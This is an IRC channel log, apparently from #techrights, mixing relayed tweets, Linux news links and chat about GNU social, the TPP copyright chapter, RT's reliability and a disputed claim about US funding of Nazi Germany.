| schestowitz | https://twitter.com/jurasick/status/652801665645588480 | Oct 10 12:12 |
| -TechrightsBot-tr/#techrights-@jurasick: @schestowitz Lots of folks don't realize with 1 option Siri can listen all night (presumably snoring?) while charging. Smurf suite indeed! | Oct 10 12:12 | |
| schestowitz | it's being normalised | Oct 10 12:12 |
| schestowitz | https://twitter.com/MxsQueen/status/652803898860793856 | Oct 10 12:13 |
| -TechrightsBot-tr/#techrights-@MxsQueen: @schestowitz the listened. It's easy enough to leave it somewhere you're not. If you're under physical surveillance game over already. | Oct 10 12:13 | |
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| schestowitz | https://twitter.com/openstandaarden/status/652810259019497473 | Oct 10 12:40 |
| -TechrightsBot-tr/#techrights-@openstandaarden: Het nieuws dat we meer gaan inzetten op #ODF #opendocumenten dringt ook bij buitenlandse collega's door. https://t.co/N1WBlGeeFO | Oct 10 12:40 | |
| -TechrightsBot-tr/#techrights-@schestowitz: The Dutch government is determined to speed up ODF adoption http://t.co/DvBJQj1XAI #odf #holland | Oct 10 12:40 | |
| schestowitz | https://twitter.com/AJimenez1988/status/652811363690106880 | Oct 10 12:58 |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Fuck the Magna Carta. | Oct 10 12:58 | |
| schestowitz | Tories know better... and Blairites too. | Oct 10 12:58 |
| schestowitz | Rivet Radio (blog): | Oct 10 13:05 |
| schestowitz | "People are falling for a privacy hoax on Facebook, YET AGAIN, and Edward Snowden joins Twitter and immediately, figuratively, shoots himself in the foot." | Oct 10 13:05 |
| schestowitz | Link pulled down | Oct 10 13:05 |
| XRevan86 | Should had Snowden choose GNU social that "even" schestowitz turnes down? | Oct 10 13:07 |
| XRevan86 | schestowitz: I really don't understand the correlation between Evan not giving you data and undesire to join GNU social. | Oct 10 13:08 |
| msb_ | I joined the first GNU social server, LoadAverage, and found it had only one channel about Linux, and that in Spanish or some similar language. | Oct 10 13:42 |
| XRevan86 | msb_: It's filled with GNU/Linux. | Oct 10 13:44 |
| msb_ | How do I reach that? | Oct 10 13:44 |
| XRevan86 | msb_: I can't find you. | Oct 10 13:47 |
| msb_ | XRevan86: How do I connect with the GNU/Linux discussions? | Oct 10 13:47 |
| msb_ | I am markbilk on LoadAverage | Oct 10 13:47 |
| msb_ | or maybe mark@cosmicpenguin.com | Oct 10 13:48 |
| XRevan86 | https://loadaverage.org/tag/linux https://quitter.se/group/linux http://legadolibre.com.ar/group/gnu | Oct 10 13:49 |
| -TechrightsBot-tr/#techrights-loadaverage.org | Notices tagged with linux - LoadAverage | Oct 10 13:49 | |
| -TechrightsBot-tr/#techrights-quitter.se | Quitter | Oct 10 13:49 | |
| -TechrightsBot-tr/#techrights-legadolibre.com.ar | Grupo GNU's Not Unix (gnu) - legadolibre | Oct 10 13:49 | |
| XRevan86 | https://loadaverage.org/group/opensuse | Oct 10 13:49 |
| -TechrightsBot-tr/#techrights-loadaverage.org | openSUSE (opensuse) group - LoadAverage | Oct 10 13:49 | |
| msb_ | I want to discuss systemd on many distros | Oct 10 13:50 |
| XRevan86 | http://skilledtests.com/wiki/List_of_federated_GNU_social_groups | Oct 10 13:51 |
| -TechrightsBot-tr/#techrights-skilledtests.com | List of federated GNU social groups - I ask questions [ http://ur1.ca/iwdhd ] | Oct 10 13:51 | |
| XRevan86 | https://loadaverage.org/tag/systemd | Oct 10 13:51 |
| -TechrightsBot-tr/#techrights-loadaverage.org | Notices tagged with systemd - LoadAverage | Oct 10 13:51 | |
| schestowitz | http://wwlp.com/2015/10/09/cybersecurity-threats-business-owners-need-to-know/ | Oct 10 14:08 |
| schestowitz | "NSA’s role in combating hacker" | Oct 10 14:08 |
| -TechrightsBot-tr/#techrights-wwlp.com | Cybersecurity threats business owners need to know | WWLP.com [ http://ur1.ca/nz5tf ] | Oct 10 14:08 | |
| schestowitz | XRevan86: I could not import the data | Oct 10 14:09 |
| XRevan86 | schestowitz: Start from stratch then. | Oct 10 14:09 |
| schestowitz | nah | Oct 10 14:09 |
| schestowitz | f* the 'cloud' | Oct 10 14:09 |
| schestowitz | now I keep my things backed up publicly | Oct 10 14:10 |
| schestowitz | learned from the mistake of netscape.com too | Oct 10 14:10 |
| schestowitz | where I had worked | Oct 10 14:10 |
| schestowitz | all sites will vanish one day | Oct 10 14:10 |
| schestowitz | but some vanish purely for business reasons (profit) | Oct 10 14:10 |
| XRevan86 | schestowitz: Self-host then :) | Oct 10 14:12 |
| schestowitz | https://twitter.com/BryanZwan2/status/652834173393240064 | Oct 10 14:14 |
| -TechrightsBot-tr/#techrights-@BryanZwan2: RT http://t.co/9JepJ1l47m Government crackers lecture about #security http://t.co/ZQeFsZ9yXi "NSA’s role in combating hackers.." heh. #… | Oct 10 14:14 | |
| -TechrightsBot-tr/#techrights-@schestowitz: Government crackers lecture about #security http://t.co/B6Lld1Mpk8 "NSA’s role in combating hackers.." heh. | Oct 10 14:14 | |
| schestowitz | XRevan86: I wanted to | Oct 10 14:14 |
| schestowitz | but couldn't get my data | Oct 10 14:14 |
| schestowitz | so defected to diaspora | Oct 10 14:14 |
| XRevan86 | I should consider creating a Twitter account. | Oct 10 14:16 |
| MinceR | more TPP leaks >> http://8ch.net/tech/res/402037.html#405366 | Oct 10 14:16 |
| -TechrightsBot-tr/#techrights-8ch.net | /tech/ - TPP HAPPENING thread [ http://ur1.ca/nz5vo ] | Oct 10 14:16 | |
| XRevan86 | (not really) | Oct 10 14:17 |
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| msb_ | Are gnu/social messages limited to 128 chars or so? | Oct 10 14:20 |
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| TweetTuxMachines | @tuxmachines Rugged Cat S40 Android Smartphone Launches in | Oct 10 14:26 |
| TweetTuxMachines | U.S. http://t.co/sAc5t65ED9 | Oct 10 14:26 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Rugged Cat S40 Android Smartphone Launches in U.S. | Tux Machines | Oct 10 14:26 | |
| TweetTuxMachines | @tuxmachines Release of KDE Frameworks 5.15.0 | Oct 10 14:27 |
| TweetTuxMachines | http://t.co/h1bIYqD0D0 (www.tuxmachines.org) | Oct 10 14:27 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Release of KDE Frameworks 5.15.0 | Tux Machines | Oct 10 14:27 | |
| schestowitz | http://news.niticentral.com/2015/10/09/nepal-forms-team-to-ease-standoff-with-india-over-supplies/ | Oct 10 14:49 |
| -TechrightsBot-tr/#techrights-news.niticentral.com | Nepal forms team to ease standoff with India over supplies - India News Analysis Opinions on Niti Central - Bold and Right [ http://ur1.ca/nz66a ] | Oct 10 14:49 | |
| schestowitz | https://twitter.com/LucidGlow/status/652844512339996672 https://twitter.com/LucidGlow/status/652845102046556160 | Oct 10 14:59 |
| -TechrightsBot-tr/#techrights-@LucidGlow: @schestowitz He should be given a "warm" welcome... | Oct 10 14:59 | |
| -TechrightsBot-tr/#techrights-@LucidGlow: @schestowitz Gen. Keith Alexander is certainly one of the individuals that has contributed most to the oppression of mankind lately. | Oct 10 14:59 | |
| schestowitz | http://www.foxbusiness.com/on-air/stossel/blog/2015/10/07/war-cops-other-political-myths | Oct 10 15:00 |
| schestowitz | "Do women have a right for government to pay for their birth control? Abortions? I don't think so." | Oct 10 15:00 |
| -TechrightsBot-tr/#techrights-www.foxbusiness.com | War on Cops & Other Political Myths | John Stossel's Take | Fox Business [ http://ur1.ca/nz69t ] | Oct 10 15:00 | |
| schestowitz | Fox... | Oct 10 15:00 |
| TweetTuxMachines | @tuxmachines The Best Linux Setup For Older Computers | Oct 10 15:12 |
| TweetTuxMachines | http://t.co/6WUNbMubqH (www.tuxmachines.org) | Oct 10 15:12 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | The Best Linux Setup For Older Computers | Tux Machines | Oct 10 15:12 | |
| schestowitz | https://twitter.com/nyakasanga/status/652847559489245184 | Oct 10 15:23 |
| -TechrightsBot-tr/#techrights-@nyakasanga: @schestowitz oppression repression and bad breath.. | Oct 10 15:23 | |
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| MinceR | https://scontent-lhr3-1.xx.fbcdn.net/hphotos-xta1/v/t1.0-9/12006221_10200844195464537_1177391076717232848_n.jpg?oh=8660e692cb2d4c27d30aea9bdf769c1a&oe=56960E72 | Oct 10 15:47 |
| XFaCE | MinceR: ROFLOL | Oct 10 15:47 |
| XFaCE | thanks for that | Oct 10 15:47 |
| XFaCE | schestowitz: the lack of TPP IP chapter coverage yesterday was disgusting | Oct 10 15:48 |
| XFaCE | 5 hours and no breaking news from MSM | Oct 10 15:48 |
| XFaCE | not surprising, but disgusting | Oct 10 15:48 |
| XFaCE | " • Provides protection and enforcement of copyrights and related rights, reflecting or building upon the World Intellectual Property Organization Internet Treaties. Canada ratified the Internet Treaties in 2014. | Oct 10 15:49 |
| XFaCE | • Reflects key aspects of Canada’s regime, including: | Oct 10 15:49 |
| XFaCE | ◦ Canada’s Notice-and-Notice regime regarding Internet service providers’ role in addressing online copyright infringement; | Oct 10 15:49 |
| XFaCE | ◦ protection and enforcement to prevent the circumvention of technological protection measures and the removal of rights management information; and | Oct 10 15:49 |
| XFaCE | ◦ Canada’s copyright exceptions and limitations framework. | Oct 10 15:49 |
| XFaCE | Moreover, officials told the Wire Report, claiming “what we were able to conclude in the TPP is fully consistent with Canadian law and policy, and included in that is Canada’s position or Canada’s regime pursuant to the recently-adopted Copyright Modernization Act.”" | Oct 10 15:49 |
| XFaCE | 99% bullshit | Oct 10 15:49 |
| XFaCE | lies | Oct 10 15:50 |
| XFaCE | and we have the Wikileak'd chapter to prove it | Oct 10 15:50 |
| TweetTuxMachines | @tuxmachines Raspberry Pi KMS Driver UpdatedRaspberry Pi KMS | Oct 10 16:16 |
| TweetTuxMachines | Driver Updated http://t.co/RWzUKHFLkd | Oct 10 16:16 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Raspberry Pi KMS Driver UpdatedRaspberry Pi KMS Driver Updated | Tux Machines | Oct 10 16:16 | |
| TweetTuxMachines | @tuxmachines Epistory - Typing Chronicles Will Come To Linux | Oct 10 16:16 |
| TweetTuxMachines | https://t.co/KFdw8zGYWL (www.gamingonlinux.com) | Oct 10 16:16 |
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| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Epistory - Typing Chronicles Will Come To Linux | GamingOnLinux | Oct 10 16:16 | |
| TweetTuxMachines | @tuxmachines “$15 will grant you a DRM-free Linux copy of | Oct 10 16:16 |
| TweetTuxMachines | the game (plus your name in the credits)” | Oct 10 16:16 |
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| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Haque: Retro Roguelike RPG Requires Riches | GamingOnLinux | Oct 10 16:16 | |
| TweetTuxMachines | @tuxmachines Manjaro Linux Fluxbox 15.10 Edition Released | Oct 10 16:22 |
| TweetTuxMachines | with a Completely Redesigned Desktop | Oct 10 16:22 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Manjaro Linux Fluxbox 15.10 Edition Released with a Completely Redesigned Desktop - Softpedia | Oct 10 16:22 | |
| TweetTuxMachines | @tuxmachines Release of KDE Frameworks 5.15.0 | Oct 10 16:22 |
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| -TechrightsBot-tr/#techrights-www.kde.org | KDE - Release of KDE Frameworks 5.15.0 | Oct 10 16:22 | |
| TweetTuxMachines | @tuxmachines Rugged Cat S40 Android Smartphone Launches in | Oct 10 16:22 |
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| -TechrightsBot-tr/#techrights-www.eweek.com | Rugged Cat S40 Android Smartphone Launches in U.S. | Oct 10 16:22 | |
| TweetTuxMachines | @tuxmachines The Best Linux Setup For Older Computers | Oct 10 16:22 |
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| -TechrightsBot-tr/#techrights-linux.about.com | The Best Linux Setup To Replace Windows Vista And XP | Oct 10 16:22 | |
| TweetTuxMachines | @tuxmachines Raspberry Pi KMS Driver Updated | Oct 10 16:29 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | Raspberry Pi KMS Driver Updated - Phoronix | Oct 10 16:29 | |
| TweetTuxMachines | @tuxmachines Tiny Core Linux 6.4.1 Gets Its First Release | Oct 10 16:29 |
| TweetTuxMachines | Candidate Build with Multiple Fixes | Oct 10 16:29 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Tiny Core Linux 6.4.1 Gets Its First Release Candidate Build with Multiple Fixes - Softpedia | Oct 10 16:29 | |
| TweetTuxMachines | @tuxmachines Calligra 2.9.8 Released https://t.co/UN2TU9Zfyv | Oct 10 16:29 |
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| -TechrightsBot-tr/#techrights-www.calligra.org | Calligra 2.9.8 Released | Calligra Suite | Oct 10 16:29 | |
| TweetTuxMachines | @tuxmachines "hacking away at the Kate/KDevelop sprint in | Oct 10 16:30 |
| TweetTuxMachines | Berlin." http://t.co/FMJa2boeGp | Oct 10 16:30 |
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| -TechrightsBot-tr/#techrights-kate-editor.org | Qt World Summit + Kate/KDevelop Sprint in Berlin | Kate | Get an Edge in Editing | Oct 10 16:30 | |
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| schestowitz | https://twitter.com/glynmoody/status/652870699703500800 | Oct 10 16:40 |
| -TechrightsBot-tr/#techrights-@glynmoody: well, pretty much as you'd expect... https://t.co/GX2LBiOA7R | Oct 10 16:40 | |
| -TechrightsBot-tr/#techrights-@schestowitz: The Financial Times of London (i.e. plutocrats) upset that #privacy won because of "transatlantic trade" http://t.co/vhVK6d9sLU @glynmoody | Oct 10 16:40 | |
| schestowitz | https://twitter.com/digital_human/status/652870602584399872 | Oct 10 16:41 |
| -TechrightsBot-tr/#techrights-@digital_human: #cool. Draaid dat een beetje? Iemand ervaring? https://t.co/PlHOKDISXL | Oct 10 16:41 | |
| -TechrightsBot-tr/#techrights-@schestowitz: Overlord & Overlord 2 Coming To Linux, Two More Virtual Programming Titles http://t.co/5DKtnVRNXY http://t.co/9Ax9DWqK1g | Oct 10 16:41 | |
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| TweetTuxMachines | @tuxmachines Tiny Core Linux 6.4.1 Gets Its First Release | Oct 10 16:53 |
| TweetTuxMachines | Candidate Build with Multiple Fixes | Oct 10 16:53 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Tiny Core Linux 6.4.1 Gets Its First Release Candidate Build with Multiple Fixes | Tux Machines | Oct 10 16:53 | |
| TweetTuxMachines | @tuxmachines Leftovers: FSF/GNU http://t.co/ce0RjYYp3c | Oct 10 17:03 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: FSF/GNU | Tux Machines | Oct 10 17:03 | |
| TweetTuxMachines | @tuxmachines Linux Discussion Continues, Fedora Welcomes | Oct 10 17:03 |
| TweetTuxMachines | Chromium http://t.co/ea8ZxlBpev | Oct 10 17:03 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux Discussion Continues, Fedora Welcomes Chromium | Tux Machines | Oct 10 17:03 | |
| TweetTuxMachines | @tuxmachines Ubuntu Phone Game Falldown Ported to Sailfish | Oct 10 17:03 |
| TweetTuxMachines | OS, It Now Supports Themes | Oct 10 17:03 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Ubuntu Phone Game Falldown Ported to Sailfish OS, It Now Supports Themes - Softpedia | Oct 10 17:03 | |
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| cubexyz | HA, dual core 2 gigahertz is old | Oct 10 23:09 |
| cubexyz | but this shows how polluted the computerscape is | Oct 10 23:10 |
| cubexyz | hardly anyone seems to be able to function on a computer without windows, it's sad | Oct 10 23:10 |
| cubexyz | Q4OS is ok, but it wastes cpu time | Oct 10 23:12 |
| cubexyz | the most functional no-nonsense OS I've ever used was OpenBSD | Oct 10 23:13 |
| cubexyz | I don't need some fancy word processor | Oct 10 23:17 |
| cubexyz | I barely even use abiword | Oct 10 23:17 |
| cubexyz | sorry, I like Q4OS, but the idea that it's best distro for an old computer is ridiculous | Oct 10 23:20 |
| cubexyz | openbsd or in extreme cases BL3 | Oct 10 23:20 |
| cubexyz | openbsd doesn't even load X by default | Oct 10 23:21 |
| cubexyz | totally lean and mean | Oct 10 23:21 |
| cubexyz | but I must say that Novena project looks very interesting | Oct 10 23:23 |
| cubexyz | it's even got an FPGA built-in | Oct 10 23:23 |
| cubexyz | and web page creators are mostly ignoring older computer users | Oct 10 23:28 |
| cubexyz | some web pages no longer fit on a 4:3 screen | Oct 10 23:28 |
| cubexyz | ideally the browser should transmit to the server it connects to "Hey I'm 4:3 here" | Oct 10 23:32 |
| cubexyz | there is something called "Responsive layout" which tries to adapt to every device | Oct 10 23:33 |
| cubexyz | or "Responsive Web Design" | Oct 10 23:35 |
| cubexyz | https://en.wikipedia.org/wiki/Responsive_web_design | Oct 10 23:35 |
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| schestowitz | Kremlin media doesn't like to talk about Russia, except when it makes Putin look like a hero | Oct 04 08:49 |
| schestowitz | Using RT to learn about Russia and the US is like using Iranian/Syrian press to learn about Israel or vice versa | Oct 04 08:50 |
| schestowitz | You might be better off turning even to Chinese media, it's not as US-hostile | Oct 04 08:50 |
| msb_ | Are you taking into account all the people murdered by the WW2 Nazis, who were 75% financed by US businessmen. | Oct 04 08:50 |
| schestowitz | That's not the fault of the US (not any more than the British) | Oct 04 08:50 |
| schestowitz | Austria and Germany mostly | Oct 04 08:51 |
| schestowitz | maybe to some degree Italy and a Nazi-sympathising (to the anti-Semitic extent) France | Oct 04 08:51 |
| schestowitz | It's a stretch to blame Nazi death on the US | Oct 04 08:51 |
| msb_ | http://cosmicpenguin.com/#US_Nazis | Oct 04 08:52 |
| -TechrightsBot-tr/#techrights-cosmicpenguin.com | Human Society That Works For Everyone | Oct 04 08:52 | |
| schestowitz | Financial support | Oct 04 08:52 |
| schestowitz | Not just a US thing | Oct 04 08:52 |
| schestowitz | There are German 'expatriots' in other countries | Oct 04 08:52 |
| schestowitz | What about Argentina's stance in WW2? | Oct 04 08:52 |
| schestowitz | Or Japan's for that matter? | Oct 04 08:53 |
| schestowitz | Try painting Nazism as a US thing | Oct 04 08:53 |
| schestowitz | it's not | Oct 04 08:53 |
| msb_ | 75% came from US businessmen, in order to have Hitler destr0y socialism. | Oct 04 08:53 |
| schestowitz | There were some, among the US population, who not only sympathised with the Nazis party but also made material support | Oct 04 08:53 |
| schestowitz | Inc. Bush the grandpa | Oct 04 08:54 |
| schestowitz | So 75% of the Nazis "budget" was US? | Oct 04 08:54 |
| msb_ | And others. Read the linked articles. | Oct 04 08:54 |
| msb_ | yes | Oct 04 08:54 |
| schestowitz | And the tanks? | Oct 04 08:54 |
| schestowitz | And machine guns? | Oct 04 08:54 |
| schestowitz | No german labour? | Oct 04 08:54 |
| schestowitz | No German material/resources? | Oct 04 08:54 |
| msb_ | construction paid for with that money | Oct 04 08:54 |
| schestowitz | Did the US send planes to German? | Oct 04 08:54 |
| schestowitz | They don't need money to make weapons | Oct 04 08:55 |
| schestowitz | They have the material and the forced labour | Oct 04 08:55 |
| schestowitz | inc. in camps, in France, in fields | Oct 04 08:55 |
| schestowitz | They could just look all the resources in occupied territories | Oct 04 08:55 |
| schestowitz | The US did not CAUSE the nazi 'success' | Oct 04 08:55 |
| schestowitz | It may have /contributed/ to it | Oct 04 08:55 |
| schestowitz | But quit framing the US as the CAUSE of it | Oct 04 08:55 |
| schestowitz | Because it's just dumb | Oct 04 08:55 |
| msb_ | Read the references. | Oct 04 08:56 |
| schestowitz | And the US govt. just met some germany officials, didn't make them strong allies | Oct 04 08:56 |
| schestowitz | Not any more than the British did... | Oct 04 08:56 |
| msb_ | The US govt didn't do it. Private businessmen did. | Oct 04 08:57 |
| schestowitz | How many people in total? | Oct 04 08:57 |
| schestowitz | hundreds? Thousands? | Oct 04 08:57 |
| msb_ | Non in my memory. | Oct 04 08:57 |
| schestowitz | The US had over 100 million at the time, maybe even 200 | Oct 04 08:57 |
| msb_ | Read the references. | Oct 04 08:57 |
| schestowitz | I did ages ago | Oct 04 08:57 |
| schestowitz | it talks about super-wealthy citizens sending money to political 'causes' in Germany | Oct 04 08:57 |
| schestowitz | Many still do | Oct 04 08:58 |
| schestowitz | and not just in Germany | Oct 04 08:58 |
| schestowitz | If they do this in Iran, Syria etc. they might get arrested for "aiding/abetting terrorism" | Oct 04 08:58 |
| schestowitz | Still, such people would not make US complicit in ISIS | Oct 04 08:59 |
| schestowitz | Just as some French people who join ISIS doesn't make France as a whole liable for it | Oct 04 08:59 |
| msb_ | No, US is complicit in ISIS because it created Mujahideen to harass Russia. | Oct 04 09:00 |
| msb_ | Mujahideen became Al Qaeda, which became ISIS. | Oct 04 09:00 |
| schestowitz | You know I'm very critical of US/UK foreign policy, but if this channel is viewed as claiming the US was the supporter of Nazi Germany, then you just discredit the whole lot | Oct 04 09:00 |
| schestowitz | But US does not support ISIS | Oct 04 09:00 |
| schestowitz | It supported the Mujahideen | Oct 04 09:01 |
| msb_ | US has been sending thousands of armed jihadists into Syria for years, knowing that almost all defect to ISIS. | Oct 04 09:01 |
| schestowitz | And those whom it sent to Syria | Oct 04 09:01 |
| schestowitz | Some join Al-Nusra | Oct 04 09:01 |
| schestowitz | Or even ISIS, worse than AQ by some standards | Oct 04 09:01 |
| schestowitz | it doesn't mean this was all along the intention or that the end outcome is viewed as "desirable" | Oct 04 09:01 |
| schestowitz | Some Brits also supported Hitler well before the war | Oct 04 09:01 |
| schestowitz | Doesn't mean they support invasions of Czechoslovakia and Poland | Oct 04 09:02 |
| schestowitz | [09:01] <msb_> US has been sending thousands of armed jihadists into Syria for years, knowing that almost all defect to ISIS. | Oct 04 09:02 |
| schestowitz | No, they found that out around 2014 | Oct 04 09:02 |
| schestowitz | WSJ wrote about that too, so it's no secret | Oct 04 09:02 |
| schestowitz | and now they have a $500ml budget for this and they have trained no more than maybe 60 or 600 people last I read... | Oct 04 09:03 |
| schestowitz | Because they're super-picky | Oct 04 09:03 |
| schestowitz | Having done much harm already, not by intention | Oct 04 09:03 |
| schestowitz | They were desperate to remove Assad, and maybe later his allies in Iran | Oct 04 09:03 |
| msb_ | The US intention was to overthrow Assad. | Oct 04 09:03 |
| schestowitz | All the other Middle Eastern countries are already in Western pockets | Oct 04 09:03 |
| schestowitz | Even Yemen, until recently when they lost control | Oct 04 09:03 |
| schestowitz | Lebanon is OK with the US, and it's partly xian too | Oct 04 09:04 |
| schestowitz | Except the political factions of Hezbollah | Oct 04 09:04 |
| schestowitz | who too are said to be aligned with Iran/Syria | Oct 04 09:04 |
| schestowitz | So the US wants to eliminate this element | Oct 04 09:04 |
| schestowitz | Other countries that don't bend over for Uncle Sam are N Korea and Russia | Oct 04 09:05 |
| schestowitz | Maybe venezuela and ecador, where it's "complicated".... | Oct 04 09:05 |
| msb_ | But you tried to vague away the discussion about US and Hitler, by making irrelevant statements. US businessmen gave Hitler 75% of the financing for his military buildup, and the purpose was to have him destr0y socialism in Russia and Europe. | Oct 04 09:05 |
| schestowitz | world domination is the goal | Oct 04 09:05 |
| schestowitz | and Syria's government is more aligned with Russian interests, as did Ukraine until the EU expanded like an expire to the East | Oct 04 09:06 |
| schestowitz | [09:05] <msb_> But you tried to vague away the discussion about US and Hitler, by making irrelevant statements. US businessmen gave Hitler 75% of the financing for his military buildup, and the purpose was to have him destr0y socialism in Russia and Europe. | Oct 04 09:06 |
| schestowitz | Bollox | Oct 04 09:06 |
| schestowitz | 75% of Nazis budget is from the US? | Oct 04 09:06 |
| schestowitz | You must be dreaming | Oct 04 09:07 |
| msb_ | The goal is also to eliminate socialism, so the ultra-rich can keep their 99% profits. | Oct 04 09:07 |
| msb_ | It's in the references I link to. | Oct 04 09:07 |
| schestowitz | The overall assets/wealth of ther German country was more than what all these US funders had combined in their bank, by orders of magnitude | Oct 04 09:07 |
| schestowitz | GDP of germany back then was still high, hyperinflation is overinflated, as if inflation, as some economists will say | Oct 04 09:08 |
| schestowitz | as long as locals are able to work and produce, they'll live | Oct 04 09:08 |
| schestowitz | irrespective of currencies | Oct 04 09:08 |
| schestowitz | germany didn't depend much on global trade for food | Oct 04 09:08 |
| schestowitz | unlike the UK perhaps | Oct 04 09:08 |
| schestowitz | it almost ran low on food towards the end of the war because u-boats sank supplies | Oct 04 09:08 |
| schestowitz | [09:07] <msb_> The goal is also to eliminate socialism, so the ultra-rich can keep their 99% profits. | Oct 04 09:09 |
| schestowitz | Not the goal is at question | Oct 04 09:09 |
| schestowitz | the proportion of funding | Oct 04 09:09 |
| schestowitz | you said US provided 75% of Nazi funds | Oct 04 09:09 |
| schestowitz | which is patently BS | Oct 04 09:09 |
| msb_ | Regarding RT, it presents accurate information. | Oct 04 09:09 |
| schestowitz | right next to "Hitler is an alien" or Russia's Stalin is a US agent | Oct 04 09:10 |
| schestowitz | you're dodging the topic now | Oct 04 09:10 |
| msb_ | Straw-man | Oct 04 09:10 |
| schestowitz | RT is not accurate information | Oct 04 09:10 |
| schestowitz | It's nationalist propaganda | Oct 04 09:10 |
| schestowitz | it's good for covering some US blunders at times | Oct 04 09:10 |
| schestowitz | esp. when no other site which is decent does so | Oct 04 09:10 |
| schestowitz | RT also invites US dissidents | Oct 04 09:10 |
| msb_ | Give examples of falsehoods. | Oct 04 09:10 |
| schestowitz | so this is where they get a large TV audience to express their views | Oct 04 09:11 |
| schestowitz | Tell me when RT does an interview with Russian dissidents | Oct 04 09:11 |
| schestowitz | Show me now... | Oct 04 09:11 |
| schestowitz | Did they ever even interview the fames Pussy Riot? | Oct 04 09:11 |
| schestowitz | *famed | Oct 04 09:11 |
| schestowitz | bias by omission in RT | Oct 04 09:11 |
| msb_ | I wasn't watching it then. | Oct 04 09:12 |
| schestowitz | gotta go now.. | Oct 04 09:12 |
| schestowitz | https://twitter.com/Zeipt/status/650592990508003328 | Oct 04 09:51 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz take a look to rbc.ru (russian only, but unfortunately more objective than any others there) | Oct 04 09:51 | |
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| schestowitz | I have just taken a look at rbc.ru - is it a large mainstream/mass media network or just a marginalised independent site with budget? | Oct 04 09:52 |
| schestowitz | https://twitter.com/schestowitz/status/650590217221591040 | Oct 04 09:52 |
| -TechrightsBot-tr/#techrights-@schestowitz: Is there any >large< news network in #russia that actually dares to criticise the (Russian) Establishment much? Any in English language? | Oct 04 09:52 | |
| schestowitz | https://twitter.com/Zeipt/status/650593758967406592 | Oct 04 09:53 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz also there is https://t.co/BXOkYRgxk3 | Oct 04 09:53 | |
| -TechrightsBot-tr/#techrights--> meduza.io | NO TITLE | Oct 04 09:53 | |
| schestowitz | I know of that one, but still, not maintream | Oct 04 09:53 |
| schestowitz | I know of that one, but still, not mainstream | Oct 04 09:53 |
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| schestowitz | https://twitter.com/Zeipt/status/650595715568246784 | Oct 04 09:58 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz "we have to public all the things, and if government begin turture us, we can step back, but we have to public all the things") | Oct 04 09:58 | |
| schestowitz | https://twitter.com/Zeipt/status/650595204131479552 | Oct 04 10:05 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz it is largest financial/buisness/analytic network. I dont know much abt their budget. But I know their editor's princip | Oct 04 10:05 | |
| schestowitz | https://twitter.com/Zeipt/status/650596619319164929 | Oct 04 10:07 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz there no large/mainstream one. All are under control of @roskomnadzor_rf, ФСБ, and under full censorship. | Oct 04 10:07 | |
| schestowitz | https://twitter.com/Zeipt/status/650597401649115136 | Oct 04 10:07 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz russians cant even access the mobile and wifi internet without identification... | Oct 04 10:07 | |
| MinceR | 094735 < schestowitz> and probably no H bombs, if any... | Oct 04 10:23 |
| MinceR | they do have those | Oct 04 10:23 |
| MinceR | https://en.wikipedia.org/wiki/Tsar_bomba | Oct 04 10:23 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | Tsar Bomba - Wikipedia, the free encyclopedia | Oct 04 10:23 | |
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| schestowitz | hydrogen? Let's see... | Oct 04 10:45 |
| schestowitz | ah yes, "AN602 hydrogen bomb" | Oct 04 10:46 |
| schestowitz | they now get 50mt TNT yield in much smaller sizes | Oct 04 10:48 |
| schestowitz | didn't know tsar bomba was 27 tons, 2 meter wide, 8 meter long | Oct 04 10:48 |
| schestowitz | that's like dumping a semi-trailer | Oct 04 10:48 |
| schestowitz | clumsy and heavy | Oct 04 10:48 |
| MinceR | :) | Oct 04 10:49 |
| schestowitz | https://twitter.com/Metztli_IT/status/650609087831343105 | Oct 04 10:53 |
| -TechrightsBot-tr/#techrights-@Metztli_IT: Imposed via violence to coerce fanaticism sharing common root belief 3 #patriarchies are more alike than different: https://t.co/LoDAaai1Tn | Oct 04 10:53 | |
| -TechrightsBot-tr/#techrights-@schestowitz: A friend of mine who's a professor who works in Saudi and a relative who was a nurse there say many surgeries are due to rectal rape (male) | Oct 04 10:53 | |
| schestowitz | relative=sister in law | Oct 04 10:54 |
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| msb_ | RT is now showing a very detailed documentary on the 2010 Deepwater Horizon oilwell blowout that resulted in the worst environmental disaster in history. | Oct 04 12:50 |
| msb_ | wiki: "Britain, China, France, Russia and the United States are known to possess MIRV missiles." IIRC, each independent H-bomb is in the range of 100-600KT. | Oct 04 12:58 |
| msb_ | "<schestowitz> bias by omission in RT" Sure. All sources omit things. But neither schestowitz nor MinceR has been able to cite any information that RT has broadcast that is false. Whereas US corporate media actually _lie_ about important matters constantly. | Oct 04 13:03 |
| msb_ | About two weeks ago, one of the regular programs on RT had a journalist who blamed Putin for the deaths of 8,000 people in one of Ukraine's Eastern regions, because he had said he would protect them, and when they stood up and said they wanted a degree of autonomy, and the Nazi Ukraine govt began shelling them, Putin did nothing. | Oct 04 13:06 |
| msb_ | I think the same show yesterday had three journalists talking about Assad. One was an a-hole from the US rightwing Heritage Foundation who said that Assad was a "genocidal monster" who dropped "barrel bombs". Wiki says the US dropped barrel bombs on the Vietnamese, and Israel dropped them on the Palestinians. | Oct 04 13:17 |
| msb_ | They're just a cheap kind of bomb in which the filling can be chosen arbitrarily. | Oct 04 13:19 |
